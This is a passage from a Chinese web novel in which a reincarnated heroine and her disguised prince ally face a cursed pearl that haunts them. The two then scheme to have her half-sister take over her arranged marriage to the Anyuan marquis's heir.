他仔细一想,脸上冷汗直流。 “说起来,那日我原本是对那盒子不感兴趣的。但那人为了将盒子脱手,只收了我五两银子。” 他越想越心慌:“该不会,从一开始我就被人盯上了吧?” 宋颜夕和南宫景交换了一个眼神。 对方盯上的可不是古德茂,而是他们。 “现在怎么办?”宋颜夕指了指那个盒子,道,“不如,咱们打开它瞧瞧?” 其实,他们早就已经打开看过了。 里面空荡荡的,什么也没有。 但如今这情景,他们不得不重新审视这个盒子。 南宫景点了点头:“我来,你们退后。” 在场的人当中,南宫景的武功无疑是最高的。 是以,当他提出这个意见的时候,宋颜夕十分配合地后退了好几步。 那边,南宫景已经足尖一点朝那个盒子抓了过去。 “小心呐恩人!” 身旁,古德茂叫了一句。 宋颜夕扫了他一眼:“还叫恩人呢?” 古德茂挠了挠脑袋:“这不是顺口嘛。” 说话间,南宫景已经把那盒子捏在手里。 全称很轻松,几乎不费吹灰之力。 “快打开它。”宋颜夕跳到南宫景身边,有些迫切地说道。 南宫景将手放在盖子上。 “吱呀~” 细碎的声音在暮色中显得格外清晰。 古德茂下意识朝那盒子看了过去,最终又缩了缩脖子。 “这是什么?”宋颜夕发出一声惊呼。 南宫景也面露诧异之色。 他们上次打开盒子的时候,里头还什么都没有。但此刻,盒子里竟然躺着一颗发着淡淡青色光芒的珠子。 “古老板?这珠子一直在里面吗?” 古德茂也是一脸莫名:“没有啊?我买到盒子之后仔细看过,就只是一个普通的老檀木盒子罢了。奇怪,哪里来的珠子?” 说着,他转身看向阿勇:“是不是你偷偷动了盒子?” 阿勇连连摆手:“老爷,小的哪敢动您的东西啊?这东西放到库房之后我便再也没碰过了。” 南宫景看向阿勇:“你也接触过这个盒子?” “是啊。” 阿勇挠了挠头:“我是奉老爷的命令将盒子放到库房里,仅此而已。” 宋颜夕嗤笑一声:“如此看来,这珠子竟还是自己跑进去的?” 这事儿虽说着挺玄乎,但经过方才的一切,似乎也不是那么难理解了。 此时此刻,四双眼睛就这样盯着那珠子。 然而那珠子除了发出淡淡的青色光芒之外,并没有其他异常。 “此等邪物必须毁了!”这句话,是古德茂说的。 说话的时候,他的眼中闪过一道阴鸷之色。 几乎是在话音落下的那一瞬间,他就已经从南宫景手中夺过那颗珠子。 “乓~” 珠子被狠狠砸在地上。 刹那间,一道青光从他们眼前炸开。 “糟糕!” 宋颜夕暗道不好,下一刻,她就已经被南宫景带着跳出很远。 而在他们刚刚站立的地方,已经出现了一个巨大的坑。 古德茂缺了一条手臂站在那儿,双眼无神。 而他旁边的阿勇已经倒在地上不省人事。 “快看,那珠子......” 随着宋颜夕一声惊呼,南宫景朝地上看了过去。 那原本被埋在巨坑里的珠子竟然像是收到某种力量的指引,又一次悬浮在半空中。 不仅如此,它甚至还开始吸收人的精气。 首先是阿勇。 紧接着,便是古德茂。 被吸收精气之后,那二人的身体迅速变得干瘪。如枯死的木头一般,毫无生气地倒在地上。 而那珠子身上的青光更盛,呼啸着朝宋颜夕二人的方向“飞”了过来。 “不好,快跑!” 南宫景几乎是第一时间就拉着宋颜夕往门口的方向跑去。 他带着宋颜夕跃上墙头,试图从墙上越过去。 然而当他们站在墙头,诡异的一幕发生了。 脚下的墙体忽然变成一块巨大的石头 横亘在他们面前的,是一处黝黑的深渊。 “回头。”宋颜夕说了一句。 本以为回头就能回到院子里,却不想,身后俨然已经变成另一场炼狱。 冲天的火光 一寸一寸,将所有生灵焚烧殆尽。 他们仿佛能听见那原本已经失去生机的古德茂发出一声凄厉的惨叫。 “这下可真是进退两难了。” 往前一步是深渊,身后是蔓延的火光。 摆在他们眼前的似乎只有一个死字。 “敢不敢搏一搏?” 南宫景忽然在她耳边问了一句。 宋颜夕抬头看向他:“你是想?” 南宫景指了指那深渊:“跳下去。” 宋颜夕盯着那黑渊:“你就不怕,粉身碎骨?” 南宫景却忽然将她搂得更近了一些:“能与宋姑娘葬在一处,哪怕是粉身碎骨,亦甘之如饴。” 说罢,他竟是直接搂着宋颜夕的腰朝那黑渊深处跳了下去。 第106章:奇怪的珠子 耳边的风呼啸着,宋颜夕忍不住腓腹“这家伙,什么时候变得如此油腔滑调了!” 然而就在他们跳下去之后,墙头忽然升起一条火龙。 那火龙在空中盘旋着,在发出一声长啸之后,带着毁天灭地的力量朝他们俯冲下来。 灼热感席卷着每一寸肌肤,宋颜夕眼睁睁看着自己的身体在火光的侵蚀下化作粉末。 “啊!” 伴随着一声惊叫,宋颜夕猛地睁开眼。 同时睁眼的还有南宫景以及古德茂、阿勇。 此时此刻,他们仍然稳稳地坐在饭桌上。 甚至于,阿勇还保持着端盘子的动作。 空气安静得很诡异,四人面面相觑...... 最终还是宋颜夕先打破宁静:“方才,各位可是做梦了?” 阿勇重重点头:“岂止是做梦?这感觉,太真实了。” 其余三人的视线在空中交汇:“那个盒子?” 古德茂几乎是第一时间就起身冲了出去。 一边跑,一边从腰间扯下一串厚重的钥匙扔到阿勇手里:“你去开门。” 冲进库房之后,古德茂从货架上取下那老檀木盒子。 “你们说,这里头真的会有那样东西吗?”他握着盒子的手有些颤抖。 这一点,宋颜夕和南宫景也无法确定。 “无论如何,先打开看看吧。” 盒子被打开的那一刻,所有人都目不转睛地盯着同一个方向。 当看到盒子里静静躺着那颗青色珠子的时候,古德茂几乎站立不稳。 他将那盒子扔在地上,一步跳出很远:“太邪乎了,这东西什么时候跑进去的?” 想到梦里发生的一切,所有人都沉默了。 “老爷,不如咱们报官吧?”最终,还是阿勇说了一句。 “报官?” “是啊,宋丞相不是您的至交好友吗?或许,他会有办法。” “是啊,我怎么没想到呢?宋兄乃一国之相,定然认识不少能人异士。就算他没有办法,还有国师呢。” 听他们说要联系宋章,宋颜夕默默朝门口挪了两步。 还没等她离开这间房子,古德茂就一把拦在她面前:“此事颇为诡异,宋相怕是不相信我一人之言。二位,可一定要为古某做个见证啊。” “这个......” 宋颜夕正要找个借口糊弄过去,方才还被扔在地上的珠子忽然发出一阵“噼里啪啦”的声音。 循声看去,却见那珠子竟然和梦境里一样,腾空升了起来。 “还来?” 几乎是同一时间,所有人都拔腿冲出了库房。 和梦里不同的是,那珠子并没有吸食任何人的精血,但却一直飘在他们身后。 “阿勇,快打开大门。” 古德茂喊了一句,阿勇立刻朝门口狂奔而去。 庆幸的是,他很轻松就打开了大门。 冲出大门之后,古德茂直接跳上门口的马车:“走,咱们去丞相府。” “那个,古老板啊,丞相府我们就不去了吧。” 马车里,宋颜夕和南宫景面对面坐着。 古德茂:“小兄弟这是何意?莫非,你还在打那盒子的主意?” 古德茂一边说,一边摇头:“虽然我不知道你们为何对那盒子感兴趣,但现在你们也看到了。那东西就是个邪物啊。” “古老板你误会了,我们只是怕见官而已。”南宫景抢在宋颜夕前面说了一句。 “怕见官?莫非你们是......” 不知古德茂想到什么,他露出一个果然如此的表情。 他掀开车帘一看,果真看到那珠子还飘浮在车外。 “既是如此,古某也不强求,你们便在前方下车吧。这相府,我是一定要去的。” 宋颜夕和南宫景跳下车之后,那马车便加快速度朝相府的方向驶去。 宋颜夕和南宫景交换一个眼神:“此事,你怎么看?” 此等怪力乱神之事,她原本是不信的。 但仔细一想,她都能借尸还魂,这事便也不稀奇了。 南宫景将手背在身后,幽幽吐出一句话:“此事,怕是还没有结束。” “什么意思?” 不需要南宫景解释,她就明白了他这句话的意思。 原本跟着马车的那颗珠子竟不知何时调头飞了回来,此时此刻,那珠子就悬浮在他们两步开外。 “这东西还赖上我们了?” 宋颜夕尝试着调转方向走了几步,那珠子就跟着她飘了几步。 她拔腿就跑 结果,那珠子也跟着加快速度。 站在原地的南宫景:...... 谁说这珠子赖上他们的? 它赖上的,根本就是宋颜夕。 最后,宋颜夕干脆躺平:“想跟着我是吧?我就躺这儿了,我看你能和我斗到什么时候?” 事实证明,和一颗珠子比耐性,是宋颜夕脑子被门夹了。 南宫景站在一旁看着她和一颗珠子斗气,不免觉得好笑。 最后的最后,宋颜夕只能被迫接受了这条“尾巴”。 “你说,它怎么就赖上我了呢?” 回去的路上,宋颜夕一路碎碎念。 不等南宫景回答,她又自己跟自己说了一句:“哦,我知道了。这东西该不会觉得我跟它是同类吧?” 南宫景脚步一顿:“同类?” “就是我......” 宋颜夕猛地收住声音,糟糕,差点说漏嘴。 她眸光一闪,挺直了腰板问道:“难道,你不觉得本姑娘就像那璀璨的明珠一样吗?” 南宫景看着她,眼中不经意流露出款款深情:“宋姑娘的确是这世间难得一见的明珠。” 宋颜夕却没心思关心他的神色,她转过身去,背对着他吐出一口浊气。 这死珠子,肯定是瞧出她这“孤魂野鬼”的身份了。 他们是翻墙回到相府的,为了防止那珠子被人瞧见,宋颜夕在半路就已经将它收到自己的袖袋里。 南宫景一开始是反对她这么做的,但见那珠子对她并没有什么影响,也就随她去了。 回到梧桐苑之后,紫翎就快步朝她走了过来。 “姑娘,安远侯府今日来人了。” 宋颜夕挑了挑眉:“没想到那柳如风的速度还挺快的嘛,婚事可退了?” 紫翎面露难色:“这婚,没退!不仅如此,他们还将婚期提前了。两日后就要来迎娶姑娘你。” 宋颜夕伸懒腰的动作一顿:“你说什么?” 第107章:风声 不仅是宋颜夕,南宫景的脸色也是阴沉得可怕。 柳如风是吧? 既然他如此不识相,就别怪他出手太狠了。 “这个柳如风,表面上看着是个识大体的,怎么还能出尔反尔呢?” 此时的宋颜夕并没有意识到,从一开始,柳如风就没有答应她的条件。 她只是习惯性地认为,以柳如风的性子,必然是个知恩图报的。是以她在留下那句话之后,便再也没关注过安远侯府的动态。 “姑娘若是不愿意嫁给柳如风,我这便潜入侯府,杀了他。” 紫翎是个行动派,说话的时候,已经从腰间拔出了一把匕首。 南宫景满意地看着她,这护卫不错,是个好苗子。 然而宋颜夕接下来的那句话却让他的心情跌落谷底。 “你这毛毛躁躁的性子什么时候能改一改?这可是在东......咳咳,那可是安远侯世子,真杀了他,咱们还怎么在上京城混?” “可是姑娘,你难道真的打算两天后嫁到侯府不成?那个病秧子,如何配得上姑娘您啊。” 宋颜夕走到窗户边坐下:“此事,容我再想想。” 她实在想不明白,安远侯府为什么非要和相府结亲。 难道,这背后还有她不知道的利益关系? 就在宋颜夕思考问题的同时,南宫景已经悄悄退了出去。 “王爷!” 黑暗中,林昊对南宫景行了个拱手礼。 南宫景冲他摆手:“古德茂那边让其他人盯着,你,去给安远侯找点事做。” 安远侯? 林昊朝梧桐苑的方向看了一眼:他们家王爷和安远侯府向来没有恩怨,如此这般,是因为那位宋姑娘吗? 又交代了几句之后,林昊便从墙头翻了出去。 南宫景转身的时候却发现宋颜夕就靠在不远处的柳树下看着他。 “之前我就觉得哪里不对劲。” 宋颜夕一边说,一边走向南宫景,“你不是说林昊去木坊城了吗?” 南宫景这才想起,之前解决了董老板事件的时候,他为了跟在宋颜夕身边,随口扯了个谎。 其实,被派去木坊城的,另有其人。 “哦,身边人手不够。我便将他又调回来了。”南宫景面不改色。 宋颜夕上下打量着他,见他没有说谎的迹象才继续问道:“那木坊城那边?” 董昌背后之人有很大概率和巫黛勾结,若是不把那人挖出来,她不安心。 南宫景拍了拍她的脑袋:“放心吧,我自由安排。” 宋颜夕一把拍开他的手:“本姑娘的脑袋是你能随意拍的吗?阿呆护卫!!” 南宫景忽然装出一副受伤的表情:“宋姑娘莫不是忘了,除了阿呆护卫之外,我还有另一重身份?” “什么身份?山贼?” 南宫景:...... 所以这女人根本就忘了他们曾经拜过堂这件事了吧? “真是个薄情的女人啊。”南宫景幽幽叹了一句。 宋颜夕可没有心思和他纠结这些,她朝南宫景勾了勾手:“你那些寨子里的兄弟,散播谣言的能力如何?” “我不是山……” “哎呀,别解释了。我都懂,你们和普通山贼不一样,是做大生意的嘛。” 说着,她还冲南宫景眨了眨眼。 南宫景扶额:“说吧,你想做什么?” “我要你这样……” 听了宋颜夕的话之后,南宫景的眼睛亮了亮。 如此,倒是个好主意。 第二天晚上,茱萸院传来一阵杯子碎裂的声音。 “你说什么?安远侯世子的病,好了?” 杯子滑落在地上之后,立刻有丫鬟上前收拾。 姜淑萍摆了摆手,示意她们都退下。 站在她旁边的嬷嬷低声应道:“城里都传遍了,说是侯府世子将和户部尚书一起主持明年的春闱。” “春闱是何等要事?怎可听信坊间之言。我并未听相爷提起此事。” 想了想,她又补了一句:“你再去探探,务必要弄清楚这消息是从何处传出来的。” “是,夫人。” 那嬷嬷退下之后,姜淑萍起身出了门。 刚走到门口,就见宋婉儿急匆匆朝这边走来。 “母亲,我听说安远侯……” 姜淑清朝她使了个眼色,宋婉儿立刻闭嘴。 “怎么,你也听说此事了?” 确定四下无人,姜淑萍才压低声音问了一句。 “市井都传疯了,母亲你说,这该不会是真的吧?” 不仅仅是姜淑萍和宋婉儿,就连三房也在讨论此事。 “你不是说世子重病,撑不过这个冬天了吗?现在是怎么回事?” 刘云香将房门一关,转身就质问宋德。 因为担心被宋娇娇听见,她把声音压得很低。 宋德脸色也不好看:“你问我,我问谁去?不过这安远侯世子究竟是什么情况都跟咱们没有关系。” “怎么没关系了?你又不是不知道,娇娇有多喜欢侯府世子,若他身子真没有问题,咱们大可以……” 宋德直接拍着桌子打断她的话:“那安远侯世子是怎样的人物,也是咱们可以肖想的吗?我告诉你啊,这段时间,你最好是管好你的宝贝女儿,若是再惹出什么祸端,没人护得住她。” 刘云香被他的反应弄得懵住,半晌才回过神来:“你冲我吼什么?我们娇娇为自己争取幸福有什么错?大家都姓宋,凭什么所有好处都让大房占了?难道就因为大哥的傍上了楚王吗?” 宋德一巴掌打在她脸上:“刘云香,你在胡言乱语什么?” “我有说错吗?论学识,你哪一点比大哥差了?他不就是仗着楚王才……” “你给我闭嘴!!!” 这一次,宋德直接捂住了她的嘴。 【这两人怎么回事啊?怎么还扯上楚王了呢?】 屋顶上,宋颜夕和南宫景趴在瓦片上听墙角。 大概是意识到自己说错话,刘云香已经开始向宋德道歉。 “我也是为娇娇着急嘛。这孩子一心想当太子妃,我这个做母亲的难道还不帮她一把吗?” “那也要讲究方法。你就信我一次,安远侯府不是咱们能惹得起的。娇娇若真嫁过去,还不知是福是祸呢。” “你这话是什么意思?”刘云香问。 第108章:梅山之约 宋德最终还是没有把话说得太明白。 在屋顶上又听了一会儿,确定那二人已经歇下之后,南宫景才带着宋颜夕“飞”出院门。 “看来,三房是指望不上了。” 宋颜夕看向茱萸院的方向,“希望那位大小姐不要让我失望才行。” 当他们赶到茱萸院的时候,姜淑萍还在安抚宋婉儿。 “婉儿莫要着急,不过是下人道听途说罢了,此事未必是真的。” “若是真的呢?侯府过两日就要来迎娶宋彩衣了。难道,真要让那村姑嫁到侯府?女儿就是不甘心,竟让这上不得台面的东西捡了这么大的便宜!” 姜淑萍拍了拍她的手背:“若侯世子当真已经病愈,如何还要将婚事提前?我看啊,那世子多半是撑不过这几日了。” 宋婉儿一怔:“母亲是说......” “不知是谁在背后散播这样的消息,但此事必有蹊跷。” “那咱们现在怎么办?”宋婉儿问。 “以不变应万变。” 姜淑萍替宋婉儿理了理发髻,“就算真让那丫头捡了便宜又如何?母亲自有办法让她为我所用。” “宋夫人不上当,你的计划怕是要泡汤了。” 不远处的大树上,南宫景和宋颜夕坐在树干上,借着茂密的枝叶隐藏身形。 宋颜夕摸着下巴:“光凭谣言自然不足以让她相信,明日,你想法子将柳如风约出来。我呢,负责把宋婉儿引过去。” “你是想?” 宋颜夕淡笑不语。 她来上京城的这些日子可没闲着,早就将宋府这些人的脾气秉性摸了个透。 这个宋婉儿,瞧着端庄大方得体,是个知书达理的名门贵女。 但其实她心气极高,一边享受着权势带来的利益,一边又瞧不上那些权贵。 她曾经潜入宋婉儿的房间,发现她偷偷在暗格里藏了一些才子佳人的话本。 这一点怕是连姜淑萍都不知道。 想来,她也是极为喜爱柳如风那一款风度翩翩又才华横溢的俊俏郎君的。 若是让她见到柳如风,定然不会将这婚事拱手让人。 第二日,南宫景以“神医”之名给柳如风递了一封信。 收到信的时候,柳如风喝药的动作一顿。 “神医约我赏梅?” 冯叔将信件交给柳如风:“也不知这神医究竟是什么意思,世子如今的身子怎么能吹风呢?若是受了寒,可怎么得了。” 柳如风接过信,仔仔细细将上面的内容看了一遍,然后说道:“神医不是说了吗?适当的活动筋骨有益于我恢复身体机能。” “可梅山太远了......” “无妨,这不是还有神医吗?你且先去准备吧。” 对于柳如风的话,冯叔向来言听计从。哪怕心中仍有疑虑,也还是立刻吩咐人准备出行的物什。 另一边,宋颜夕正在茱萸院,眼巴巴看着姜淑萍。 “你平日里不是来去自如吗?今日怎地还赖上我了?” 姜淑萍仍然是那副慈母模样,说话的时候,将一块精致的芙蓉糕递到宋颜夕面前。 “这不是马上就要嫁人了嘛,女儿也想与母亲再亲近亲近。” “你这说辞我可不信。说吧,为何要母亲陪你去梅山?” 宋颜夕扭捏地垂下脑袋:“果然什么都瞒不过母亲。他们都说梅山上有一棵姻缘树可灵了呢,彩儿也想去求求,希望月老能保佑我和未来夫君恩爱情长。但哪儿有姑娘家单独去求姻缘的?说出去不是让人笑话嘛。女儿寻思着,若是有母亲相陪,倒也不会叫旁人说了闲话。” 姜淑萍打量着她,似乎在思考她这句话的真实性。 见她没有应答,宋颜夕又追加了一句:“若是母亲不愿,便当彩儿什么都没说吧。左右我不过是个从小就被抛弃的人,就不该奢望成亲后能得到夫君的宠爱。” 果然,在她说完这句话之后,姜淑萍立马上前一步拉住了她的手:“彩儿怎么会有这样的想法?母亲只是觉得梅山偏僻,恐路上出了变故。但你既有此诚心,我这个做母亲的必然是要陪你走这一遭的。” 姜淑萍的动作很快,没过多久就让人备了马车。 临出门的时候,宋颜夕问了一句:“那姻缘树如此灵验,可要叫上大姐姐一起?没准,大姐姐很快便能觅得良缘呢?” 姜淑萍的动作一顿:“婉儿前些日子受了风寒,不宜外出。此次,便不带她了。” “这样啊,那真是太可惜了。” 说话的时候,宋颜夕的目光瞥向那绿丛中的一抹青影。 在姜淑萍那句话说完之后,她明显看到那青影动了一下。 当马车离开丞相府的时候,门后走出两道人影。 “小草,你说母亲怎么会陪宋颜夕去求姻缘呢?” 最重要的是,竟然不带她! 小草是宋婉儿的贴身丫鬟,听了这话,她赶紧上前一步:“夫人当然有她的安排,姑娘莫要多想。” “莫要多想?” 宋婉儿轻哼一声,昨天,她母亲也是这样对她说的。 可这才过了一个晚上,她亲爱的母亲就带着宋颜夕去求姻缘了。 这怎么能让她不多想一些? …… 梅山上的确有一棵姻缘树。 只不过,那棵树种植在山顶,因为前段时间山上积雪,官府便派人在官道上打了木桩,马车无法前行。 “如今这情况,怕是要步行上山了。不如咱们改日再……” 宋颜夕看着姜淑萍,装出一副可怜兮兮的模样:“母亲若是乏了便先回去吧,彩儿自行上山便是。母亲放心,我会小心些的,绝对不会因为踩空掉下山去。” 姜淑萍脸色一变,若这小妮子真摔死了,她伤哪儿找个新娘子给安远侯府送过去? 最终,姜淑萍还是下了马车,在丫鬟的搀扶下,一步一个脚印地朝山顶的方向走去。 在他们身后不远处,乔装打扮的宋婉儿用力捏紧手中的帕子。 “没想到,母亲竟然为了那村姑做到如此地步!” “姑娘,夫人她肯定是……” “你给我闭嘴!” 宋婉儿一个眼神扫过去,小草立刻捂住嘴不敢再多说一句。 虽然马车无法前行,但人在雪上走倒也不成问题。 但宋婉儿自小娇生惯养,哪里走过这样的雪路。 不过一会儿功夫,宋颜夕几人就不见了踪影。 她一路追赶,却忘了照顾脚下。 “姑娘当心!” 随着小草一声惊呼,宋婉儿已经朝雪地深处滚了下去。 第109章:宋婉儿与柳如风 “啊!” 滚下去的时候,宋婉儿发出一声惊叫。 大山深处的姜淑萍仿佛心有灵犀,不安地转过头去向身后张望:“我怎么听到了婉儿的声音?” 宋颜夕不动声色:“啊?是大姐姐也来求姻缘了吗?不如咱们回去接上大姐姐一起走?” “大概是我幻听了,婉儿这会儿还在府中养病呢。” 姜淑萍摇了摇头,继续往前走。 宋颜夕若有所思地看了一眼声音的源头。 果然如她所料,宋婉儿偷偷跟上来了。不过刚刚那声音是怎么回事? 那个大小姐,该不会真摔下山了吧? 宋婉儿并没有真的摔下山,滚了几圈之后,她被卡在两棵树中间。 小草好不容易将她拉上来,刚走了两步,宋婉儿就捂着腿跪坐下去。 因为宋婉儿伤了腿,小草只能扶着她往回走。 “姑娘放心,我们很快就可以回到马车上了。”小草搀扶着宋婉儿艰难地往前走,殊不知她弄错了方向,每走一步,她们就离马车远了一分。 “怎么还没到啊?” 脚踝处的疼痛感一阵一阵传来,宋婉儿的脸色已经透着一些病态的白。 小草焦急万分,四处张望:“姑娘,咱们可能是迷路了。” 她们的确是迷路了,眼见前方白茫茫一片,宋婉儿的情绪有些失控。 “迷路了,那还不赶紧去找出路?难道要本姑娘冻死在这儿吗?” 找了个背风面安置她之后,小草便转身寻找出路去了。 宋婉儿端坐在大树底下,时不时有雪水从树上砸落在她身上,虽穿了斗篷,但仍然有些狼狈。 没过多久,她便觉得脑袋有些沉。 身上传来阵阵寒意,她忍不住站起身,想要走动几步让身子暖和起来。 结果她忘记了自己脚上还有伤,刚起身,整个人就不受控制地栽倒在雪地里。 正当她自觉狼狈之际,脑袋上方忽然传来一道温润清和的嗓音。 “姑娘,你还好吧?” 是男子的声音。 那一刻,宋婉儿觉得陷在雪地里的脸颊烫得厉害。 最终,她是被人从雪地里拉起来的。 抬眼一看,眼前站着一位身穿月白色锦袍的男子。 虽然这人头上戴着帷帽,但宋婉儿还是从他的声音中判断,这人的年龄应大不了她几岁。 “多谢公子!” 宋婉儿朝他福了福身。 柳如风同样朝她拱手行礼:“姑娘为何独自在此?可有需要在下帮助的地方?” 宋婉儿只说自己在山间迷了路,又和丫鬟走散。 柳如风思索片刻之后,决定先把宋婉儿送出梅山。 许是瞧出宋婉儿脸色不对,柳如风一直在同她说话,分散她的注意力。 一番交谈下来,宋婉儿发现柳如风丝毫不输她话本中那些俊公子。 不知不觉中,她竟对柳如风生出了几分期待。 她偷偷看向柳如风:也不知,那帷帽下的脸,究竟生得哪般模样? “那可是姑娘的马车?” 到了官道上,柳如风指着不远处的那辆马车问道。 宋婉儿脸色微变。 那是宋颜夕和她母亲乘坐的马车,马车还在那儿,也就是说,她们此刻还在山上。 “可是有什么问题”柳如风又问。 宋婉儿摇了摇头:“那并非我的马车。” 她的马车,停在稍远一些的地方。 正在此时,小草从远处跌跌撞撞地跑来:“姑娘,可算是找着你了。奴婢回去没见着您,还以为您出什么事了呢。” 小草的出现,打断了柳如风和宋婉儿的对话。 直到宋婉儿和小草的背影消失在视线中,柳如风才朝冯叔招了招手:“还是没有神医的踪迹吗?” 冯叔摇了摇头:“我们的人都找遍了,山上除了一对来求姻缘的母子,并无其他人。” “求姻缘?” 柳如风的视线落在不远处那辆马车上:“去查查,那是哪家的马车。” “是!” 宋婉儿回府一个时辰之后,宋颜夕和姜淑萍也回到了相府。 “母亲,您说我与世子的婚姻,会和美吗?” “一定会的。”姜淑萍敷衍道,“毕竟,那可是母亲与你父亲为你精心挑选的婚事。” “可那毕竟原本是属于大姐姐的婚事......府中的下人都说,是我抢了大姐姐的夫婿,我怕大姐姐将来怨我。” “到底是哪个不长眼的竟然在背后乱嚼舌根?彩儿无需多想,安远侯世子就是你命定的夫君,你啊只管安心待嫁便是。” 二人手挽着手往庭院里走去,殊不知,这话一字不落地飘入了宋婉儿的耳中。 “当真是偏心啊。” 宋婉儿一把折断眼前的一株花草:“我倒是不知那村姑究竟给母亲下了什么降头,竟让她如此期满于我。” 回来的路上,宋婉儿便已经知晓在梅山救她之人便是安远侯世子柳如风。 自然也能瞧出,这柳如风虽然身子骨有些弱,却也不是传闻中那般将死之人。 不仅如此,柳如风的谈吐学识都让宋婉儿很是仰慕。 虽然只是短暂的相处,却足以让她认识到这位“锦心公子”的魅力。 她,绝对不可能将这样完美的夫婿拱手让人。 姜淑萍并不知道,她不过是去了一趟梅山,事情便已经超出了她的掌控。 此时此刻,她还在尽心尽力地扮演着一个好“嫡母”,忙里忙外替宋颜夕张罗嫁妆。 丞相府嫁女儿,该有的面儿还是得安排上。 哪怕,宋颜夕只是庶女。 一切都如火如荼地进行着,到了晚上,南宫景悄无声息地潜入宋颜夕的房间。 看到他的那一刻,紫翎一脸警惕地拔出了腰间的软刀。 虽然宋颜夕说过,“阿呆”是自己人,但这男人私闯姑娘卧房,还是让她心生不爽。 “看来,你这位侍女是要和我动手啊。” 南宫景没有看紫翎,反而是将目光落在坐在梳妆台前的宋颜夕身上。 宋颜夕闻言,将手中的梳子放在台面上。 她朝紫翎摆了摆手:“你不是她对手,先退下吧。” “可是姑娘,他......” “放心,他不会对我怎么样的。” 宋颜夕朝紫翎眨了眨眼,紫翎这才福身退了下去。 第110章:哎呀,疼 直到紫翎退下之后,宋颜夕才站起身看向南宫景:“何二哥今日任务完成得不错。” 在梅山上,南宫景一直在暗处盯着柳如风,自然也就知道他与宋婉儿之间发生的事。 而这此中细节,他们在回府后便已经通过气了。 宋颜夕不明白的是,一切分明都已经按照计划进行,这男人此时此刻出现在她房中又是为何。 “宋姑娘便如此笃定,宋婉儿会在这桩婚事上动手脚?” “这世上哪儿有什么笃定的事啊?我啊,不过是赌宋婉儿的不甘心罢了。” “若是赌输了呢?你当真就打算嫁给柳如风了?”南宫景追问。 “那柳如风也算是个君子,就算真嫁给他也不是不可以。” 南宫景一把抓住她的手:“你真打算嫁给他?该不会,是看上那病秧子了吧?” 宋颜夕不免觉得好笑,她抽出自己的手腕甩了两下:“我嫁不嫁他,有没有看上他,好像都与何二哥没有关系吧。你我之间,只是合作关系而已。” 南宫景脸色微变:“就只是,合作关系?” “当然,比起寻常的合作伙伴,你我之间要更亲密一些。” 南宫景的嘴角终于向上勾起,然而还没等他开口,却听见宋颜夕压低了声音说了一句:“毕竟,你我之间还有一桩大买卖。” 弯起的嘴角瞬间垮了下去:“除了合作关系,除了买卖,你对我,难道就没有......” “哎呀,说起这个我忽然想起来,那个古德茂不是说要来找我那个便宜老爹吗?这都过去一天了,怎么也没见他来相府?” 没说完的话被打断,南宫景幽幽叹了一口气:“那东西并不在他手上,你还管他做什么?” “话虽如此,但我总觉得,此事还是十分诡异。” 她总觉得,那个梦境与她有着千丝万缕的关系。 虽然如今她尚不知晓这当中的关联,但,仍然让她十分在意。 南宫景推着她坐回梳妆台前,伸手取下她头上的发簪。 刹那间,一头青丝披落下来,衬得宋颜夕的脸越发小巧了。 宋颜夕正要起身,却被他按了回去:“古德茂那边,我已经派人盯着了。他已经和宋章见了面,宋章已经答应,替他向国师递上拜帖。不过,要在你大婚之后。” 说到最后四个字的时候,南宫景加重了语气。 宋颜夕的注意力却被另一件事吸引:“国师?就是那个传说中能一眼断生死的神棍?” “神棍?” 南宫景拿起桌上的梳子,动作熟稔地替她理顺那一头青丝。 虽说动作有些笨拙,但,宋颜夕却十分享受他的服务。 她索性缓缓闭上眼睛:“可不就是神棍吗,他的那些事迹,我前世......咳咳咳,我其实也听说过一些。在我看来,不过是些江湖把戏罢了。为了所谓的神谕,那老匹夫可没少干那些劳民伤财的事儿。” 她,向来不齿这种行为。 南宫景并没有错过那两个字,他的动作一顿,眼中闪过一道戾气。 说起来,他最初追查那批黑铁矿的时候,就是遭到了国师一派的拦截。 那老匹夫偷走那批黑铁矿,究竟是为了造反,还是,倒卖武器? 若是后者,犯上作乱的巫黛,会是他的合作伙伴吗? 在月容遇害那件事上,那老匹夫究竟扮演着什么角色? “哎呀,疼!!” 因为一时失神,南宫景手上失了力道。 宋颜夕发出一声轻呼,抓着一把被他扯断的头发,不满地扭头看向南宫景:“我跟你有仇吗?” 南宫景瞬间举手投降:“我说我不是故意的,你信吗?” 最终,南宫景是被轰出房间的。 宋颜夕关门的时候动作不小,就连躲在门口“偷听”的紫翎都被惊得站直了身子。 南宫景捏了捏鼻子,转身解释:“我真不是故意的,你别生气啊。” 然而宋颜夕压根不搭理他。 当他回到房间的时候,阿贵一如既往地用那双“死鱼眼”盯着他。 “以为把我打伤就能得到二姑娘的重用了?哼,被赶出来了吧?” 南宫景并没有特别大的情绪起伏,他就只是淡淡地扫了阿贵一眼,阿贵便觉得浑身汗毛都立起来了。 他几乎是下意识从床榻上站起身:“你,你想干嘛?我告诉你啊,你要是再敢打我,我对你不客气。” 说罢,他挥了挥拳头。 抬起手的时候才发现,手上还缠着厚厚的绷带。 “我警告你别耍花招,我背后可是有人罩着的。” 放了一句没什么力量的狠话之后,阿贵便在南宫景冰冷的目光中灰溜溜的逃走了。 对于他的挑衅,南宫景丝毫不放在心上。 他现在关心的只有一件事。 后日的婚礼……他是不是应该做些什么? 一日光景一晃而过,婚礼那日,丞相府前所未有的热闹。 宋颜夕端坐在梧桐苑,任凭紫翎将那些大红色的珠钗插到她的发髻里。 屋外,南宫景抱胸靠在一旁,神色未明。 反倒是何花很是开心,忙里忙外的,嘴上的笑就没停下来过。 就连进府那日被宋颜夕狠狠教训了的孙嬷嬷,被派去刷了很长一段时间的恭桶之后,也都被叫到院子里帮忙。 再次看到孙嬷嬷的时候,宋颜夕明显看到她眼中一闪而过的恨意。 她转过头去,对那份恨意熟若无睹。 若她猜得没错的话,应该是宋婉儿将她调回来的。 她看向镜中的自己,不得不说,这嫁衣倒真的衬得她的气色好了许多。 说起来,宋婉儿未该行动了。 正想着,门口传来一阵骚动。 “大姑娘,您怎么来了?”说话的是何花。 “我来看看二妹妹。” 说话间,宋婉儿已经提着裙摆从门口走了进来。 “见过大姐姐。” 宋颜夕起身朝她福了福身。 “你我姐妹之间,何须这么多虚礼?来,姐姐为你上妆。” 说罢,她朝紫翎说道:“你下去吧,我们姐妹俩有一些体己话要说。” “这,恐怕不妥吧。”紫翎作为难状。 宋婉儿低喝一声:“你倒是护主得很,怎么,难不成你认为我会害了二妹妹吗?” 正在此时,屋外响起一阵乒乒乓乓的声音。 第111章:婚礼 